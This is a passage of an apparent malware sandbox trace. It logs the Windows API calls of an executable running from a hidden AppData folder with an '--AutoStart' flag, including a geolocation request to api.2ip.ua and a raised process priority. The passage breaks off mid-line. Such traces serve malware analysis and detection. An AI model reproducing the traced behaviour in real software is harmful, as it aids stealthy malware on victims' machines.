[0097.172] GetProcAddress (hModule=0x75ad0000, lpProcName=0x6) returned 0x75ad3e59 [0097.172] GetProcAddress (hModule=0x75ad0000, lpProcName=0xc8) returned 0x75ad3f21 [0097.172] GetProcAddress (hModule=0x75ad0000, lpProcName=0xc) returned 0x75ad5dee [0097.172] GetProcAddress (hModule=0x75ad0000, lpProcName=0xc9) returned 0x75ad4af8 [0097.172] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x75020000 [0097.196] GetProcAddress (hModule=0x75020000, lpProcName="GetAdaptersInfo") returned 0x75029263 [0097.196] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x758f0000 [0097.227] GetProcAddress (hModule=0x758f0000, lpProcName=0xc) returned 0x758fb131 [0097.227] GetProcAddress (hModule=0x758f0000, lpProcName=0xb) returned 0x758f311b [0097.227] GetProcAddress (hModule=0x758f0000, lpProcName=0x34) returned 0x75907673 [0097.227] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x74fc0000 [0097.279] GetProcAddress (hModule=0x74fc0000, lpProcName="DnsQuery_W") returned 0x74fd572c [0097.279] GetProcAddress (hModule=0x74fc0000, lpProcName="DnsFree") returned 0x74fc436b [0097.279] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x77040000 [0097.279] GetProcAddress (hModule=0x77040000, lpProcName="CryptStringToBinaryA") returned 0x77075d77 [0097.279] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x74f00000 [0097.300] GetProcAddress (hModule=0x74f00000, lpProcName="atexit") returned 0x74f1c544 [0097.300] atexit (param_1=0x220920) returned 0 [0097.301] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18d180 | out: lpSystemTimeAsFileTime=0x18d180*(dwLowDateTime=0xd2750fa0, dwHighDateTime=0x1d55a45)) [0097.301] GetCurrentThreadId () returned 0x548 [0097.301] GetCurrentProcessId () returned 0x544 [0097.301] QueryPerformanceCounter (in: lpPerformanceCount=0x18d178 | out: lpPerformanceCount=0x18d178*=6617593308) returned 1 [0097.301] GetStartupInfoW (in: lpStartupInfo=0x18d110 | out: lpStartupInfo=0x18d110*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x75503519, hStdOutput=0x7757fd35, hStdError=0x775e7daf)) [0097.301] GetProcessHeap () returned 0x5010000 [0097.301] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x754f0000 [0097.301] GetProcAddress (hModule=0x754f0000, lpProcName="FlsAlloc") returned 0x75504f2b [0097.301] GetProcAddress (hModule=0x754f0000, lpProcName="FlsFree") returned 0x7550359f [0097.301] GetProcAddress (hModule=0x754f0000, lpProcName="FlsGetValue") returned 0x75501252 [0097.301] GetProcAddress (hModule=0x754f0000, lpProcName="FlsSetValue") returned 0x75504208 [0097.301] GetProcAddress (hModule=0x754f0000, lpProcName="InitializeCriticalSectionEx") returned 0x75504d28 [0097.302] GetProcAddress (hModule=0x754f0000, lpProcName="CreateEventExW") returned 0x7558410b [0097.302] GetProcAddress (hModule=0x754f0000, lpProcName="CreateSemaphoreExW") returned 0x75584195 [0097.302] GetProcAddress (hModule=0x754f0000, lpProcName="SetThreadStackGuarantee") returned 0x7550d31f [0097.302] GetProcAddress (hModule=0x754f0000, lpProcName="CreateThreadpoolTimer") returned 0x7551ee7e [0097.302] GetProcAddress (hModule=0x754f0000, lpProcName="SetThreadpoolTimer") returned 0x775a441c [0097.302] GetProcAddress (hModule=0x754f0000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x775cc50e [0097.302] GetProcAddress (hModule=0x754f0000, lpProcName="CloseThreadpoolTimer") returned 0x775cc381 [0097.302] GetProcAddress (hModule=0x754f0000, lpProcName="CreateThreadpoolWait") returned 0x7551f088 [0097.302] GetProcAddress (hModule=0x754f0000, lpProcName="SetThreadpoolWait") returned 0x775b05d7 [0097.302] GetProcAddress (hModule=0x754f0000, lpProcName="CloseThreadpoolWait") returned 0x775cca24 [0097.302] GetProcAddress (hModule=0x754f0000, lpProcName="FlushProcessWriteBuffers") returned 0x77580b8c [0097.302] GetProcAddress (hModule=0x754f0000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7763fde8 [0097.302] GetProcAddress (hModule=0x754f0000, lpProcName="GetCurrentProcessorNumber") returned 0x775d1e1d [0097.303] GetProcAddress (hModule=0x754f0000, lpProcName="GetLogicalProcessorInformation") returned 0x75584761 [0097.303] GetProcAddress (hModule=0x754f0000, lpProcName="CreateSymbolicLinkW") returned 0x7557cd11 [0097.303] GetProcAddress (hModule=0x754f0000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0097.303] GetProcAddress (hModule=0x754f0000, lpProcName="EnumSystemLocalesEx") returned 0x7558424f [0097.303] GetProcAddress (hModule=0x754f0000, lpProcName="CompareStringEx") returned 0x755846b1 [0097.303] GetProcAddress (hModule=0x754f0000, lpProcName="GetDateFormatEx") returned 0x75596676 [0097.303] GetProcAddress (hModule=0x754f0000, lpProcName="GetLocaleInfoEx") returned 0x75584751 [0097.303] GetProcAddress (hModule=0x754f0000, lpProcName="GetTimeFormatEx") returned 0x755965f1 [0097.304] GetProcAddress (hModule=0x754f0000, lpProcName="GetUserDefaultLocaleName") returned 0x755847c1 [0097.304] GetProcAddress (hModule=0x754f0000, lpProcName="IsValidLocaleName") returned 0x755847e1 [0097.304] GetProcAddress (hModule=0x754f0000, lpProcName="LCMapStringEx") returned 0x755847f1 [0097.304] GetProcAddress (hModule=0x754f0000, lpProcName="GetCurrentPackageId") returned 0x0 [0097.304] GetProcAddress (hModule=0x754f0000, lpProcName="GetTickCount64") returned 0x7551eee0 [0097.304] GetProcAddress (hModule=0x754f0000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0097.304] GetProcAddress (hModule=0x754f0000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0097.304] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x3bc) returned 0x50bba40 [0097.305] GetCurrentThreadId () returned 0x548 [0097.305] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x18) returned 0x50b1d80 [0097.305] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x800) returned 0x50bbe08 [0097.305] GetStartupInfoW (in: lpStartupInfo=0x18d0e0 | out: lpStartupInfo=0x18d0e0*(cb=0x44, lpReserved="", lpDesktop="Winsta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0x59d020f8, hStdError=0x58)) [0097.305] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0097.305] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0097.305] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0097.305] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe\" --AutoStart" [0097.305] GetEnvironmentStringsW () returned 0x50bc610* [0097.305] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xb02) returned 0x50bd120 [0097.305] FreeEnvironmentStringsW (penv=0x50bc610) returned 1 [0097.305] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9DC6.tmp.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\df0a63e6-8bd0-426e-adf4-794844f579bd\\9dc6.tmp.exe")) returned 0x5d [0097.305] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xe0) returned 0x50bdc30 [0097.305] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x9c) returned 0x50bdd18 [0097.305] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x3e) returned 0x50b0de0 [0097.305] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x6c) returned 0x50bddc0 [0097.305] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x6e) returned 0x50bde38 [0097.305] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x78) returned 0x50af030 [0097.305] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x62) returned 0x50bdeb0 [0097.305] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x2e) returned 0x50b8038 [0097.305] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x48) returned 0x50b3520 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x28) returned 0x50b79e0 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x1a) returned 0x50bb7a0 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x4a) returned 0x50bdf20 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x72) returned 0x50af0b0 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x30) returned 0x50b8070 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x2e) returned 0x50b80a8 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x1c) returned 0x50bb7c8 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0xd2) returned 0x50bc610 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x7c) returned 0x50bc6f0 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x36) returned 0x50bdf78 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x3a) returned 0x50b0e28 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x90) returned 0x50bc778 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x24) returned 0x50b7a10 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x30) returned 0x50b80e0 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x36) returned 0x50bc810 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x48) returned 0x50b3570 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x52) returned 0x50bc850 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x3c) returned 0x50b0e70 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x82) returned 0x50bc8b0 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x2e) returned 0x50b8118 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x28) returned 0x50b7a40 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x1e) returned 0x50bb7f0 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x2c) returned 0x50b8150 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x54) returned 0x50bc940 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x52) returned 0x50bc9a0 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x2a) returned 0x50b8188 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x3c) returned 0x50b0eb8 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x54) returned 0x50bca00 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x24) returned 0x50b7a70 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x30) returned 0x50b81c0 [0097.306] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x8c) returned 0x50bca60 [0097.306] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50bd120 | out: hHeap=0x5010000) returned 1 [0097.307] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x80) returned 0x50bcaf8 [0097.307] GetLastError () returned 0x0 [0097.307] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x220) returned 0x50bcb80 [0097.307] GetLastError () returned 0x0 [0097.307] IsValidCodePage (CodePage=0x4e4) returned 1 [0097.307] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18d0d4 | out: lpCPInfo=0x18d0d4) returned 1 [0097.307] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18cb9c | out: lpCPInfo=0x18cb9c) returned 1 [0097.307] GetLastError () returned 0x0 [0097.307] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0097.307] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x18c6d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0097.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18ceb0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x08!ÐYìÐ\x18", lpUsedDefaultChar=0x0) returned 256 [0097.307] GetLastError () returned 0x0 [0097.307] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0097.307] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ靖AĀ", cchSrc=256, lpDestStr=0x18c6f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0097.307] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18cdb0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x08!ÐYìÐ\x18", lpUsedDefaultChar=0x0) returned 256 [0097.308] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0097.308] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x8, Size=0x800) returned 0x50bcda8 [0097.308] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x424fcb) returned 0x40d47c [0097.308] RtlSizeHeap (HeapHandle=0x5010000, Flags=0x0, MemoryPointer=0x50bcaf8) returned 0x80 [0097.308] RtlSizeHeap (HeapHandle=0x5010000, Flags=0x0, MemoryPointer=0x50bcaf8) returned 0x80 [0097.308] RtlSizeHeap (HeapHandle=0x5010000, Flags=0x0, MemoryPointer=0x50bcaf8) returned 0x80 [0097.308] RtlSizeHeap (HeapHandle=0x5010000, Flags=0x0, MemoryPointer=0x50bcaf8) returned 0x80 [0097.309] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x110) returned 0x50bd5b0 [0097.309] RtlSizeHeap (HeapHandle=0x5010000, Flags=0x0, MemoryPointer=0x50bcaf8) returned 0x80 [0097.309] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x10) returned 0x50baea0 [0097.309] RtlSizeHeap (HeapHandle=0x5010000, Flags=0x0, MemoryPointer=0x50bcaf8) returned 0x80 [0097.309] RtlSizeHeap (HeapHandle=0x5010000, Flags=0x0, MemoryPointer=0x50bcaf8) returned 0x80 [0097.309] RtlSizeHeap (HeapHandle=0x5010000, Flags=0x0, MemoryPointer=0x50bcaf8) returned 0x80 [0097.310] RtlSizeHeap (HeapHandle=0x5010000, Flags=0x0, MemoryPointer=0x50bcaf8) returned 0x80 [0097.311] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0099.183] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x50b1218 [0099.183] InternetOpenUrlW (hInternet=0xcc0004, lpszUrl="https://api.2ip.ua/geo.json", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0108.748] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1893b0, dwNumberOfBytesToRead=0x2800, lpdwNumberOfBytesRead=0x18bbb0 | out: lpBuffer=0x1893b0*, lpdwNumberOfBytesRead=0x18bbb0*=0x1d1) returned 1 [0108.749] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0108.751] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0108.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x50c8fe8 [0108.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x1e0) returned 0x50ee148 [0108.751] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ee148 | out: hHeap=0x5010000) returned 1 [0108.751] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50c8fe8 | out: hHeap=0x5010000) returned 1 [0108.751] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50b1218 | out: hHeap=0x5010000) returned 1 [0108.751] GetCurrentProcess () returned 0xffffffff [0108.751] GetLastError () returned 0x2 [0108.751] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0108.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x10) returned 0x50edc78 [0108.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x110) returned 0x79df8a8 [0108.751] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7a240e8 [0108.752] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7a240e8, nSize=0x400 | out: lpFilename="C:\\Users\\5p5NrGJn0jS 